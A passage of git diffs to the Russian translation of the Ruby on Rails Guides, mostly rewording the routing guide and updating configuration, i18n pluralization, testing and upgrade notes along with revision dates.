tmp:cache:clear` очистит `tmp/cache`. * `rails tmp:sockets:clear` очистит `tmp/sockets`. -* `rails tmp:clear` очистит все файлы кэша и сокетов. +* `rails tmp:screenshots:clear` очистит `tmp/screenshots`. +* `rails tmp:clear` очистит все файлы кэша, сокетов и скриншотов. * `rails tmp:create` создает временные директории для кэша, сокетов и идентификаторов процесса (pid). ### Прочее diff --git a/source/configuring.md b/source/configuring.md index 23b7523e..28dfbc16 100644 --- a/source/configuring.md +++ b/source/configuring.md @@ -378,6 +378,21 @@ config.middleware.delete Rack::MethodOverride * `ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_booleans` регулирует, должен ли ActiveRecord рассматривать все столбцы `tinyint(1)` как boolean. По умолчанию `true`. +Адаптер SQLite3Adapter добавляет еще одну опцию конфигурации: + +* `ActiveRecord::ConnectionAdapters::SQLite3Adapter.represent_boolean_as_integer` указывает, хранятся ли булевые значения в базах данных sqlite3 как 1 и 0 или 't' и 'f'. Выходное значение `ActiveRecord::ConnectionAdapters::SQLite3Adapter.represent_boolean_as_integer`, установленное в false устарело. Базы данных SQLite использовали 't' и 'f' для сериализации булевых значений, и следует преобразовать старые данные в 1 и 0 (их нативную булевую сериализацию), прежде чем устанавливать этот флаг в true. Преобразование можно выполнить с помощью rake task + + ```ruby + ExampleModel.where("boolean_column = 't'").update_all(boolean_column: 1) + ExampleModel.where("boolean_column = 'f'").update_all(boolean_column: 0) + ``` + + для всех моделей и всех булевых столбцов, после чего флаг должен быть установлен в true с помощью добавления следующего в файл application.rb: + + ```ruby + Rails.application.config.active_record.sqlite3.represent_boolean_as_integer = true + ``` + Дампер схемы добавляет дополнительную конфигурационную опцию: * `ActiveRecord::SchemaDumper.ignore_tables` принимает массив таблиц, которые _не_ должны быть включены в любой создаваемый файл схемы. Эта настройка будет проигнорирована в любом случае, кроме `ActiveRecord::Base.schema_format == :ruby`. @@ -404,6 +419,8 @@ config.middleware.delete Rack::MethodOverride * `config.action_controller.per_form_csrf_tokens` настраивает, должны ли токены CSRF быть валидными только для метода/экшна, для которого они сгенерированы. +* `config.action_controller.default_protect_from_forgery` определяет, будет ли добавлена защита от подделки в `ActionController:Base`. Значением по умолчанию является false. Стоит отметить, что это включено по умолчанию при загрузке значений для Rails 5.2. + * `config.action_controller.relative_url_root` может использоваться, что бы сообщить Rails, [деплой происходит в субдиректорию](#deploy-to-a-subdirectory-relative-url-root). По умолчанию `ENV['RAILS_RELATIVE_URL_ROOT']`. * `config.action_controller.permit_all_parameters` устанавливает все параметры для массового назначения как разрешенные по умолчанию. Значение по умолчанию `false`. diff --git a/source/getting_started.md b/source/getting_started.md index 1eb02220..ee60dd7d 100644 --- a/source/getting_started.md +++ b/source/getting_started.md @@ -1137,7 +1137,7 @@ end Это очень похоже на модель `Article`, которую мы видели ранее. Разница в строке `belongs_to :article`, которая устанавливает _связь_ Active Record. Вы ознакомитесь со связями в следующем разделе руководства. -Ключевое слово (`:references`), использованное в команде bash, это специальный тип данных для моделей. Он создает новый столбец в вашей базе данных с именем представленной модели с добавленным `_id`, который может содержать числовые значения. Вы лучше поймете, о чем идет речь, проанализировав файл `db/schema.rb`. +Ключевое слово (`:references`), использованное в команде bash, это специальный тип данных для моделей. Он создает новый столбец в вашей базе данных с именем представленной модели с добавленным `_id`, который может содержать числовые значения. Чтобы лучше понять, проанализируйте файл `db/schema.rb` после выполнения миграции. В дополнение к модели, Rails также сделал миграцию для создания соответствующей таблицы базы данных: diff --git a/source/i18n.md b/source/i18n.md index b04fd077..c9b82239 100644 --- a/source/i18n.md +++ b/source/i18n.md @@ -682,9 +682,9 @@ end ### Множественное число -В английском только одна форма единственного числа, и одна множественного для заданной строки, т.е. "1 message" и "2 messages". В других языках ([русском](http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html#ru), [арабском](http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html#ar), [японском](http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html#ja) и многих других) имеются различные правила грамматики, имеющие дополнительные или остутствующие [формы множественного числа](http://cldr.unicode.org/index/cldr-spec/plural-rules). Таким образом, API I18n предоставляет гибкую возможность множественных форм. +Во многих языках — включая английский — есть только две формы, единственного числа и множественного числа, для заданной строки, т.е. "1 message" и "2 messages". В других языках: ([русском](http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html#ru), [арабском](http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html#ar), [японском](http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html#ja) и многих других) имеются различные правила грамматики, имеющие дополнительные или остутствующие [формы множественного числа](http://cldr.unicode.org/index/cldr-spec/plural-rules). Таким образом, API I18n предоставляет гибкую возможность множественных форм. -У переменной интерполяции `:count` есть специальная роль в том, что она интерполируется для перевода, и используется для подбора множественного числа для перевода в соответствии с правилами множественного числа, определенными в CLDR: +У переменной интерполяции `:count` есть специальная роль в том, что она интерполируется для перевода, и используется для подбора множественного числа для перевода в соответствии с правилами множественного числа, определенными в бэкенде множественного числа. По умолчанию применяются правила множественного числа только для английского языка. ```ruby I18n.backend.store_translations :en, inbox: { @@ -714,6 +714,21 @@ entry[lookup_key] Если поиск по ключу не возвратит хэш, подходящий для образования множественного числа, вызовется исключение `I18n::InvalidPluralizationData`. +#### Локализованные правила + +Гем I18n предоставляет бэкенд для множественного числа, который может использоваться для включения правил локализации. Добавьте это в простой бэкенд, затем добавьте алгоритмы для локализации множественного числа в хранилище переводов, как `i18n.plural.rule`. + +```ruby +I18n::Backend::Simple.include(I18n::Backend::Pluralization) +I18n.backend.store_translations :pt, i18n: { plural: { rule: lambda { |n| [0, 1].include?(n) ? :one : :other } } } +I18n.backend.store_translations :pt, apples: { one: 'one or none', other: 'more than one' } + +I18n.t :apples, count: 0, locale: :pt +# => 'one or none' +``` + +В качестве альтернативы, отдельный гем [rails-i18n](https://github.com/svenfuchs/rails-i18n) может быть использован для обеспечения более полного набора локализованных правил для множественного числа. + ### Настройка и передача локали Локаль может быть либо установленной псевдо-глобально в `I18n.locale` (когда используется `Thread.current`, например `Time.zone`), либо быть переданной опцией в `#translate` и `#localize`. diff --git a/source/index.yml b/source/index.yml index 38217136..dfe1ce54 100644 --- a/source/index.yml +++ b/source/index.yml @@ -15,14 +15,14 @@ pages: - title: Rails для начинающих path: getting-started-with-rails file: getting_started.md - revision: e42365e129c42bfb60b2960881a1f0c97bd897f0 - date: 01/06/2017 + revision: 05602968b9808a0b4f9dac5094168c102a5782ef + date: 30/06/2017 - title: Основы Active Record path: active-record-basics file: active_record_basics.md - revision: fe5c9fb76e1d6054cec0ce09825e74c652ebdd72 - date: 12/07/2016 + revision: 4f7b7c987966ef5f5963ce0f9ac1e67f0a78c987 + date: 09/07/2017 - title: Миграции базы данных Rails path: rails-database-migrations @@ -39,8 +39,8 @@ pages: - title: Колбэки Active Record path: active-record-callbacks file: active_record_callbacks.md - revision: 8801108c0f12827832a0082e17d2c087815fd99f - date: 10/04/2017 + revision: c8c16bf87f2a757ce52e13e60fd61a8597e1eadc + date: 25/07/2017 - title: Связи Active Record path: active-record-associations @@ -69,14 +69,14 @@ pages: - title: Обзор Action View path: action-view-overview file: action_view_overview.md - revision: 062e5f2b068fbce74102d7301b58a3cd7c5da883 - date: 20/05/2017 + revision: 17170cea436c3020bb4a9a6a80b5748288081827 + date: 14/07/2017 - title: Макеты и рендеринг в Rails path: layouts-and-rendering-in-rails file: layouts_and_rendering.md - revision: 4d433f8d21972d738f625bb4e41065e179ea01a8 - date: 24/06/2017 + revision: b6929552148c42f6d9687957d316c0ee555f246d + date: 01/07/2017 - title: Хелперы форм Rails path: rails-form-helpers @@ -87,20 +87,20 @@ pages: - title: Обзор Action Controller path: action-controller-overview file: action_controller_overview.md - revision: 4f3955657736796664aa8d6f6d149ef9b213b058 - date: 13/05/2017 + revision: 57add37382e7f9859f82eda9ddf90ca7704d0c2e + date: 11/07/2017 - title: Роутинг в Rails path: rails-routing file: routing.md - revision: 04b9d6829723b5c6c7854e9c992f63aada0d72bb - date: 11/04/2017 + revision: 9914964514fc43f6eadba06a47fccdf95b7806f7 + date: 17/07/2017 - title: Расширения ядра Active Support path: active-support-core-extensions file: active_support_core_extensions.md - revision: 76bb3660242a50fab50a34ad745b4fe9c677b83c - date: 11/06/2017 + revision: 5fa6563f09cd1ee84860364195249a9f7faa26a7 + date: 11/07/2017 - title: Инструметарий Active Support path: active-support-instrumentation @@ -111,8 +111,8 @@ pages: - title: API интернационализации Rails (I18n) path: rails-internationalization-i18n-api file: i18n.md - revision: acb4b4607655b4fc9f0e3ea70b9452fefe41ca6e - date: 26/02/2017 + revision: 6a8d618b5940b896a6b70378109433e84c885004 + date: 08/07/2017 - title: Основы Action Mailer path: action-mailer-basics @@ -129,8 +129,8 @@ pages: - title: Руководство по тестированию приложений на Rails path: a-guide-to-testing-rails-applications file: testing.md - revision: 2759a53a54fc7d834141adca22f3e76d928a7064 - date: 06/06/2017 + revision: b47da9814a7eda7c8700614886e18ee89ec1d9e2 + date: 15/07/2017 - title: Руководство Ruby On Rails по безопасности path: ruby-on-rails-security-guide @@ -147,14 +147,14 @@ pages: - title: Конфигурирование приложений на Rails path: configuring-rails-applications file: configuring.md - revision: 019c7f92f09170f0f87105f544ae4eff49e83de7 - date: 17/06/2017 + revision: a18cf23a9cbcbeed61e8049442640c7153e0a8fb + date: 14/07/2017 - title: Руководство по командной строке Rails path: a-guide-to-the-rails-command-line file: command_line.md - revision: 430f1e02fafd30a08edfa2b1e8032eb7e0e729cc - date: 25/03/2017 + revision: 6fbd405a2eb585591bb57de5adae71f890a24af3 + date: 22/06/2017 - title: 'Кэширование с Rails: Обзор' path: caching-with-rails-an-overview @@ -183,8 +183,8 @@ pages: - title: Процесс инициализации в Rails path: initialization file: initialization.md - revision: fd54d8449af7d1a3bada23f5475bdaa723304cd4 - date: 28/06/2017 + revision: 3a900a4e36761599661cb5993a9101f50b43bd1c + date: 16/07/2017 - title: Автозагрузка и перезагрузка констант path: constant_autoloading_and_reloading @@ -249,8 +249,8 @@ pages: - title: Руководство по обновлению Ruby on Rails path: upgrading-ruby-on-rails file: upgrading_ruby_on_rails.md - revision: f59559d70af237f8a52e4ebde34b39d834f2787e - date: 07/06/2017 + revision: a9c7eaea5d180ffd827cc9b34e173755af3df0c1 + date: 21/07/2017 - title: Руководство по шаблонам приложения Rails path: rails-application-templates diff --git a/source/initialization.md b/source/initialization.md index 3a8ac645..7e6bfc4d 100644 --- a/source/initialization.md +++ b/source/initialization.md @@ -85,7 +85,7 @@ require 'bundler/setup' # Set up gems listed in the Gemfile. * arel * builder * bundler -* erubis +* erubi * i18n * mail * mime-types diff --git a/source/layouts_and_rendering.md b/source/layouts_and_rendering.md index 8b8b66eb..e7792492 100644 --- a/source/layouts_and_rendering.md +++ b/source/layouts_and_rendering.md @@ -210,7 +210,7 @@ render plain: "OK" TIP: Рендеринг чистого текста наиболее полезен, когда вы делаете Ajax-отклик или отвечаете на запросы веб-сервиса, ожидающего что-то иное, чем HTML. -NOTE: По умолчанию при использовании опции `:plain` текст рендерится без использования текущего макета. Если хотите, чтобы Rails вложил текст в текущий макет, необходимо добавить опцию `layout: true` и использовать расширение `.txt.erb` для файла макета. +NOTE: По умолчанию при использовании опции `:plain` текст рендерится без использования текущего макета. Если хотите, чтобы Rails вложил текст в текущий макет, необходимо добавить опцию `layout: true` и использовать расширение `.text.erb` для файла макета. #### Рендеринг HTML @@ -363,6 +363,7 @@ Rails понимает как числовые коды статуса, так | | 415 | :unsupported_media_type | | | 416 | :range_not_satisfiable | | | 417 | :expectation_failed | +| | 421 | :misdirected_request | | | 422 | :unprocessable_entity | | | 423 | :locked | | | 424 | :failed_dependency | @@ -370,6 +371,7 @@ Rails понимает как числовые коды статуса, так | | 428 | :precondition_required | | | 429 | :too_many_requests | | | 431 | :request_header_fields_too_large | +| | 451 | :unavailable_for_legal_reasons | | **Server Error** | 500 | :internal_server_error | | | 501 | :not_implemented | | | 502 | :bad_gateway | diff --git a/source/routing.md b/source/routing.md index 0162fd0d..002bc6d8 100644 --- a/source/routing.md +++ b/source/routing.md @@ -478,7 +478,7 @@ resources :photos do end ``` -Это распознает `/photos/1/preview` с GET, и направит в экшн `preview` контроллера `PhotosController`, со значением id ресурса, переданным в `params[:id]`. Это также создаст хелперы `preview_photo_url` и `preview_photo_path`. +Это распознает `/photos/1/preview` с GET, и направит в экшн `preview` контроллера `PhotosController`, со значением id ресурса, переданным в `params[:id]`. Это также создаст хелперы `photo_preview_url` и `photo_preview_path`. В блоке маршрутов к элементу каждое имя маршрута определяет метод HTTP, с которым он будет распознан. Тут можно использовать `get`, `patch`, `put`, `post` или `delete`. diff --git a/source/testing.md b/source/testing.md index 6abedc50..2f1cb0da 100644 --- a/source/testing.md +++ b/source/testing.md @@ -14,7 +14,7 @@ Rails предлагает писать тесты очень просто. Когда вы создаете свои модели и контроллеры, он начинает создавать скелет тестового кода. -Простой запуск тестов Rails позволяет убедиться, что ваш код придерживается нужной функциональности даже после большой переделки кода. +Запуск тестов Rails позволяет убедиться, что ваш код придерживается нужной функциональности даже после большой переделки кода. Тесты Rails также могут симулировать запросы браузера, таким образом, можно тестировать отклик своего приложения без необходимости тестирования с использованием браузера. @@ -247,7 +247,7 @@ Finished in 0.040609s, 49.2500 runs/s, 24.6250 assertions/s. NOTE: Запуск каждого тестового метода останавливается как только случается любая ошибка или провал утверждения, и набор тестов продолжается со следующего метода. Все тестовые методы запускаются в случайном порядке. Для настройки порядка тестирования может быть использована [опция `config.active_support.test_order`](/configuring-rails-applications#configuring-active-support). -Когда тест проваливается, вам показывается соответствующий бэктрейс. По умолчанию Rails фильтрует этот бэктрейс и печатает только строчки, относящиеся к вашему приложению. Это устраняет шум от фреймворка и помогает сфокусироваться на вашем коде. Однако, бывают ситуации, когда вам захочется увидеть полный бэктрейс. Просто установите аргумент `-b` (или `--backtrace`) для включения этого поведения: +Когда тест проваливается, вам показывается соответствующий бэктрейс. По умолчанию Rails фильтрует этот бэктрейс и печатает только строчки, относящиеся к вашему приложению. Это устраняет шум от фреймворка и помогает сфокусироваться на вашем коде. Однако, бывают ситуации, когда вам захочется увидеть полный бэктрейс. Установите аргумент `-b` (или `--backtrace`) для включения этого поведения: ```bash $ bin/rails test -b test/models/article_test.rb @@ -471,7 +471,7 @@ steve: Каждой фикстуре дается имя со следующим за ним списком с отступом пар ключ/значение, разделенных двоеточием. Записи обычно разделяются пустой строкой. Можете помещать комментарии в файл фикстуры, используя символ # в первом столбце. -Если работаете со [связями](/active-record-associations), можно просто определить ссылку между двумя различными фикстурами. Вот пример для связи `belongs_to`/`has_many`: +Если работаете со [связями](/active-record-associations), можно определить ссылку между двумя различными фикстурами. Вот пример для связи `belongs_to`/`has_many`: ```yaml # In fixtures/categories.yml @@ -584,7 +584,7 @@ end При генерации нового приложения или скаффолда, в тестовой директории будет создан файл `application_system_test_case.rb`. Это то самое место, где должны находиться все настройки для ваших системных тестов. -Если хотите изменить настройки по умолчанию, надо просто изменить, чем "запускаются" ваши системные тесты. Скажем, вы хотите изменить драйвер с Selenium на Poltergeist. Сначала добавьте гем `poltergeist` в свой Gemfile. Затем сделайте в своем файле `application_system_test_case.rb` следующее: +Если хотите изменить настройки по умолчанию, надо изменить то, с помощью чего "запускаются" ваши системные тесты. Скажем, вы хотите изменить драйвер с Selenium на Poltergeist. Сначала добавьте гем `poltergeist` в свой Gemfile. Затем сделайте в своем файле `application_system_test_case.rb` следующее: ```ruby require "test_helper" diff --git a/source/upgrading_ruby_on_rails.md b/source/upgrading_ruby_on_rails.md index 2f61c8c1..8c9c9e01 100644 --- a/source/upgrading_ruby_on_rails.md +++ b/source/upgrading_ruby_on_rails.md @@ -221,6 +221,16 @@ Rails 5 добавляет возможность запускать задач <% # Template Dependency: recordings/threads/events/* %> ``` +### `ActionView::Helpers::RecordTagHelper` перемещен в отдельный гем (record_tag_helper) + +`content_tag_for` и `div_for` были убраны в пользу использования `content_tag`. Чтобы продолжить использовать это, добавьте гем `record_tag_helper` в свой Gemfile: + +```ruby +gem 'record_tag_helper', '~> 1.0' +``` + +За подробностями обратитесь к [#18411](https://github.com/rails/rails/issues/18411). + ### Убрана поддержка гема `protected_attributes` Гем `protected_attributes` больше не поддерживается в Rails 5. From 210e1c849f79946281928689f9ac43954011455b Mon Sep 17 00:00:00 2001 From: ydakuka Date: Tue, 25 Jul 2017 08:31:37 +0300 Subject: [PATCH 325/932] rewrite routing --- source/routing.md | 123 +++++++++++++++++++++++----------------------- 1 file changed, 61 insertions(+), 62 deletions(-) diff --git a/source/routing.md b/source/routing.md index 0162fd0d..86b27ea6 100644 --- a/source/routing.md +++ b/source/routing.md @@ -14,7 +14,7 @@ Цель роутера Rails ------------------ -Роутер Rails распознает URL и соединяет их с экшном контроллера или приложением Rack. Он также создает пути и URL, избегая необходимость жестко прописывать строки в ваших вьюхах. +Роутер Rails распознает URL и отправляет его в экшн контроллера или в приложение Rack. Он также может создавать пути и URL, избегая необходимость жестко прописывать строки в ваших вьюхах. ### Соединение URL с кодом @@ -24,7 +24,7 @@ GET /patients/17 ``` -оно опрашивает роутер на предмет соответствия экшну контроллера. Если первый соответствующий маршрут это: +оно просит роутер сопоставить его с экшном контроллера. Если первый соответствующий маршрут это: ```ruby get '/patients/:id', to: 'patients#show' @@ -34,7 +34,7 @@ get '/patients/:id', to: 'patients#show' ### Создание URL из кода -Также можно создавать пути и URL. Если вышеуказанный маршрут изменить как: +Также можно создавать пути и URL. Если вышеуказанный маршрут изменить на: ```ruby get '/patients/:id', to: 'patients#show', as: 'patient' @@ -57,7 +57,7 @@ get '/patients/:id', to: 'patients#show', as: 'patient' Ресурсный роутинг ----------------- -Ресурсный роутинг позволяет быстро объявлять все обычные маршруты для заданного ресурсного контроллера. Вместо объявления отдельных маршрутов для экшнов `index`, `show`, `new`, `edit`, `create`, `update` и `destroy`, ресурсный маршрут объявляет их одной строкой кода. +Ресурсный роутинг позволяет быстро объявлять все общие маршруты для заданного ресурсного контроллера. Вместо объявления отдельных маршрутов для экшнов `index`, `show`, `new`, `edit`, `create`, `update` и `destroy`, ресурсный маршрут объявляет их одной строкой кода. ### Ресурсы в вебе @@ -75,7 +75,7 @@ DELETE /photos/17 resources :photos ``` -Rails переведет этот запрос в метод `destroy` контроллера `photos` с `{ id: '17' }` в `params`. +Rails отправит этот запрос в экшн `destroy` контроллера `photos` с `{ id: '17' }` в `params`. ### CRUD, методы и экшны @@ -130,7 +130,7 @@ resources :videos ### Одиночные ресурсы -Иногда имеется ресурс, который клиенты всегда просматривают без ссылки на ID. Обычный пример, `/profile` всегда показывает профиль текущего вошедшего пользователя. Для этого можно использовать одиночный ресурс, чтобы связать `/profile` (а не `/profile/:id`) с экшном `show`: +Иногда имеется ресурс, который клиенты всегда просматривают без ссылки на ID. Обычный пример, `/profile` всегда показывает профиль текущего зарегистрированного пользователя. Для этого можно использовать одиночный ресурс, чтобы связать `/profile` (а не `/profile/:id`) с экшном `show`: ```ruby get 'profile', to: 'users#show' @@ -172,7 +172,7 @@ NOTE: Поскольку вы можете захотеть использова ### Пространство имен контроллера и роутинг -Возможно, вы захотите организовать группы контроллеров в пространство имен. Чаще всего группируют административные контроллеры в пространство имен `Admin::`. Следует поместить эти контроллеры в директорию `app/controllers/admin` и затем можно сгруппировать их вместе в роутере: +Возможно, вы захотите организовать группы контроллеров в пространстве имен. Чаще всего группируют административные контроллеры в пространство имен `Admin::`. Следует поместить эти контроллеры в директорию `app/controllers/admin` и затем можно сгруппировать их вместе в роутере: ```ruby namespace :admin do @@ -182,7 +182,7 @@ end Это создаст ряд маршрутов для каждого контроллера `articles` и `comments`. Для `Admin::ArticlesController`, Rails создаст: -| Метод HTTP | Путь | Контроллер#Экшн | Именованный хелпер | +| Метод HTTP | Путь | Контроллер#Экшн | Именованный хелпер | | ---------- | ------------------------ | ---------------------- | ---------------------------- | | GET | /admin/articles | admin/articles#index | admin_articles_path | | GET | /admin/articles/new | admin/articles#new | new_admin_article_path | @@ -222,7 +222,7 @@ resources :articles, path: '/admin/articles' В каждом из этих случаев, именованные маршруты остаются теми же, что и без использования `scope`. В последнем случае, следующие пути соединят с `ArticlesController`: -| Метод HTTP | Путь | Контроллер#Экшн | Именованный хелпер | +| Метод HTTP | Путь | Контроллер#Экшн | Именованный хелпер | | ---------- | ------------------------ | -------------------- | ---------------------- | | GET | /admin/articles | articles#index | articles_path | | GET | /admin/articles/new | articles#new | new_article_path | @@ -260,13 +260,13 @@ end | Метод HTTP | Путь | Контроллер#Экшн | Использование | | ---------- | ------------------------------------ | --------------- | ------------------------------------------------------------------------------------- | -| GET | /magazines/:magazine_id/ads | ads#index | отображает список всей рекламы для определенного журнала | -| GET | /magazines/:magazine_id/ads/new | ads#new | возвращает форму HTML для создания новой рекламы, принадлежащей определенному журналу | -| POST | /magazines/:magazine_id/ads | ads#create | создает новую рекламу, принадлежащую указанному журналу | -| GET | /magazines/:magazine_id/ads/:id | ads#show | отражает определенную рекламу, принадлежащую определенному журналу | -| GET | /magazines/:magazine_id/ads/:id/edit | ads#edit | возвращает форму HTML для редактирования рекламы, принадлежащей определенному журналу | -| PATCH/PUT | /magazines/:magazine_id/ads/:id | ads#update | обновляет определенную рекламу, принадлежащую определенному журналу | -| DELETE | /magazines/:magazine_id/ads/:id | ads#destroy | удаляет определенную рекламу, принадлежащую определенному журналу | +| GET | /magazines/:magazine_id/ads | ads#index | отображает список всей ads для определенного magazine | +| GET | /magazines/:magazine_id/ads/new | ads#new | возвращает форму HTML для создания новой ad, принадлежащей определенному magazine | +| POST | /magazines/:magazine_id/ads | ads#create | создает новую ad, принадлежащую указанному magazine | +| GET | /magazines/:magazine_id/ads/:id | ads#show | отражает определенную ad, принадлежащую определенному magazine | +| GET | /magazines/:magazine_id/ads/:id/edit | ads#edit | возвращает форму HTML для редактирования ad, принадлежащей определенному magazine | +| PATCH/PUT | /magazines/:magazine_id/ads/:id | ads#update | обновляет определенную ad, принадлежащую определенному magazine | +| DELETE | /magazines/:magazine_id/ads/:id | ads#destroy | удаляет определенную ad, принадлежащую определенному magazine | Также будут созданы маршрутные хелперы, такие как `magazine_ads_url` и `edit_magazine_ad_path`. Эти хелперы принимают экземпляр Magazine как первый параметр (`magazine_ads_url(http://github.com/@magazine)`). @@ -282,7 +282,7 @@ resources :publishers do end ``` -Глубоко вложенные ресурсы быстро становятся громоздкими. В этом случае, например, приложение будет распознавать URL, такие как: +Глубоко вложенные ресурсы быстро становятся громоздкими. В этом случае, например, приложение будет распознавать пути, такие как: ``` /publishers/1/magazines/2/photos/3 @@ -294,7 +294,7 @@ TIP: _Ресурсы никогда не должны быть вложены г #### Мелкое вложение -Один из способов избежать глубокого вложения (как показано выше) является создание экшнов коллекции в пространстве имен родителя, чтобы чувствовать иерархию, но не вкладывать экшны элементов. Другими словами, создавать маршруты с минимальным количеством информации для однозначной идентификации ресурса, например так: +Один из способов избежать глубокой вложенности (как рекомендовано выше) состоит в том, чтобы создавать экшны коллекции в области видимости родителя, получая представление об иерархии, но не вкладывать экшны элементов. Другими словами, создавать маршруты с минимальным количеством информации для однозначной идентификации ресурса, например так: ```ruby resources :articles do @@ -321,7 +321,7 @@ resources :articles, shallow: true do end ``` -Метод `shallow` в DSL создает пространство имен, в котором каждое вложение мелкое. Это создаст те же самые маршруты из предыдущего примера: +Метод `shallow` в DSL создает область видимости, в котором каждое вложение мелкое. Это создаст те же самые маршруты из предыдущего примера: ```ruby shallow do @@ -333,7 +333,7 @@ shallow do end ``` -Также существуют две опции для `scope` для настройки мелких маршрутов. `:shallow_path` добавляет префикс к путям элемента из указанного параметра: +Также существуют две опции для `scope` для настройки мелких маршрутов. `:shallow_path` добавляет к путям элемента префикс с указанным параметром: ```ruby scope shallow_path: "sekret" do @@ -379,7 +379,7 @@ end ### Концерны маршрутов -Концерны маршрутов (Routing concerns) позволяют объявлять обычные маршруты, которые затем могут быть повторно использованы внутри других ресурсов и маршрутов. Чтобы определить концерн: +Концерны маршрутов позволяют объявлять общие маршруты, которые затем могут быть повторно использованы внутри других ресурсов и маршрутов. Чтобы определить концерн: ```ruby concern :commentable do @@ -430,7 +430,7 @@ resources :magazines do end ``` -При использовании magazine_ad_path, можно передать экземпляры `Magazine` и `Ad` вместо числовых ID: +При использовании `magazine_ad_path`, можно передать экземпляры `Magazine` и `Ad` вместо числовых ID: ```erb <%= link_to 'Ad details', magazine_ad_path(@magazine, @ad) %> @@ -442,7 +442,7 @@ end <%= link_to 'Ad details', url_for([@magazine, @ad]) %> ``` -В этом случае Rails увидит, что `@magazine` это `Magazine` и `@ad` это `Ad` и поэтому использует хелпер `magazine_ad_path`. В хелперах, таких как `link_to`, можно определить лишь объект вместо полного вызова `url_for`: +В этом случае Rails увидит, что `@magazine` это `Magazine` и `@ad` это `Ad`, и поэтому использует хелпер `magazine_ad_path`. В хелперах, таких как `link_to`, можно определить лишь объект вместо полного вызова `url_for`: ```erb <%= link_to 'Ad details', [@magazine, @ad] %> @@ -460,7 +460,7 @@ end <%= link_to 'Edit Ad', [:edit, @magazine, @ad] %> ``` -Это позволит рассматривать экземпляры ваших моделей как URL, что является ключевым преимуществом ресурсного стиля. +Это позволит рассматривать экземпляры модели как URL, что является ключевым преимуществом ресурсного стиля. ### Определение дополнительных экшнов RESTful @@ -478,11 +478,11 @@ resources :photos do end ``` -Это распознает `/photos/1/preview` с GET, и направит в экшн `preview` контроллера `PhotosController`, со значением id ресурса, переданным в `params[:id]`. Это также создаст хелперы `preview_photo_url` и `preview_photo_path`. +Это распознает `/photos/1/preview` с GET и направит в экшн `preview` контроллера `PhotosController` со значением id ресурса, переданного в `params[:id]`. Это также создаст хелперы `photo_preview_url` и `photo_preview_path`. -В блоке маршрутов к элементу каждое имя маршрута определяет метод HTTP, -с которым он будет распознан. Тут можно использовать `get`, `patch`, `put`, `post` или `delete`. -Если у вас нет нескольких маршрутов к `элементу`, также можно передать `:on` к маршруту, избавившись от блока: +В блоке маршрутов элемента каждое имя маршрута определяет метод HTTP, +с которым он будет связан. Тут можно использовать `get`, `patch`, `put`, `post` или `delete`. +Если у вас нет нескольких маршрутов к `member`, также можно передать `:on` к маршруту, избавившись от блока: ```ruby resources :photos do @@ -504,7 +504,7 @@ resources :photos do end ``` -Это позволит Rails распознать пути, такие как `/photos/search` с GET и направить в экшн `search` контроллера `PhotosController`. Это также создаст маршрутные хелперы `search_photos_url` и `search_photos_path`. +Это позволит Rails распознавать пути, такие как `/photos/search` с GET и направить в экшн `search` контроллера `PhotosController`. Это также создаст маршрутные хелперы `search_photos_url` и `search_photos_path`. Как и с маршрутами к элементу, можно передать `:on` к маршруту: @@ -514,7 +514,7 @@ resources :photos do end ``` -#### Добавление маршрутов для дополнительных экшнов New +#### Добавление маршрутов для дополнительных экшнов new Чтобы добавить альтернативный экшн new, используйте сокращенный вариант `:on`: @@ -524,7 +524,7 @@ resources :comments do end ``` -Это позволит Rails распознавать маршруты, такие как `/comments/new/preview` с GET, и направлять их в экшн `preview` в `CommentsController`. Он также создаст маршрутные хелперы `preview_new_comment_url` и `preview_new_comment_path`. +Это позволит Rails распознавать пути, такие как `/comments/new/preview` с GET, и направлять их в экшн `preview` в `CommentsController`. Он также создаст маршрутные хелперы `preview_new_comment_url` и `preview_new_comment_path`. TIP: Если вдруг вы захотели добавить много дополнительных экшнов в ресурсный маршрут, нужно остановиться и спросить себя, может быть, от вас утаилось присутствие другого ресурса. @@ -533,7 +533,7 @@ TIP: Если вдруг вы захотели добавить много до В дополнению к ресурсному роутингу, Rails поддерживает роутинг произвольных URL к экшнам. Тут не будет групп маршрутов, создаваемых автоматически ресурсным роутингом. Вместо этого вы должны настроить каждый маршрут отдельно в вашем приложении. -Хотя обычно следует пользоваться ресурсным роутингом, есть много мест, где более подходит простой роутинг. Не стоит пытаться заворачивать каждый кусочек своего приложения в ресурсные рамки, если он плохо поддается. +Хотя обычно следует пользоваться ресурсным роутингом, все еще есть много мест, где более подходит простой роутинг. Нет необходимости пытаться заворачивать каждый кусочек своего приложения в ресурсные рамки, если это менее удобно. В частности, простой роутинг облегчает привязку унаследованных URL к новым экшнам Rails. @@ -545,7 +545,7 @@ TIP: Если вдруг вы захотели добавить много до get 'photos(/:id)', to: :display ``` -Если входящий запрос `/photos/1` обрабатывается этим маршрутом (так как не встретил какого-либо соответствующего маршрута в файле до этого), то результатом будет вызов экшна `display` в `PhotosController`, и результирующий параметр (1) будет доступен как `params[:id]`. Этот маршрут также свяжет входящий запрос `/photos` с `PhotosController#display`, поскольку `:id` — опциональный параметр, обозначенный скобками. +Если входящий запрос `/photos/1` обрабатывается этим маршрутом (так как он не соответствует любому предыдущему маршруту до этого), то результатом будет вызов экшна `display` в `PhotosController`, и результирующий параметр `"1"` будет доступен как `params[:id]`. Этот маршрут также свяжет входящий запрос `/photos` с `PhotosController#display`, поскольку `:id` — опциональный параметр, обозначенный скобками. ### (dynamic-segments) Динамические сегменты @@ -555,7 +555,7 @@ get 'photos(/:id)', to: :display get 'photos/:id/:user_id', to: 'photos#show' ``` -Входящий URL `/photos/1/2` будет направлен на экшн `show` в `PhotosController`. `params[:id]` будет установлен как "1", и `params[:user_id]` будет установлен как "2". +Входящий путь `/photos/1/2` будет направлен на экшн `show` в `PhotosController`. `params[:id]` будет установлен как "1", и `params[:user_id]` будет установлен как "2". TIP: По умолчанию динамические сегменты не принимают точки - потому что точка используется как разделитель для формата маршрутов. Если в динамическом сегменте необходимо использовать точку, добавьте ограничение, переопределяющее это – к примеру, `id: /[^\/]+/` позволяет все, кроме слэша. @@ -619,7 +619,7 @@ get ':username', to: 'users#show', as: :user ### Ограничения 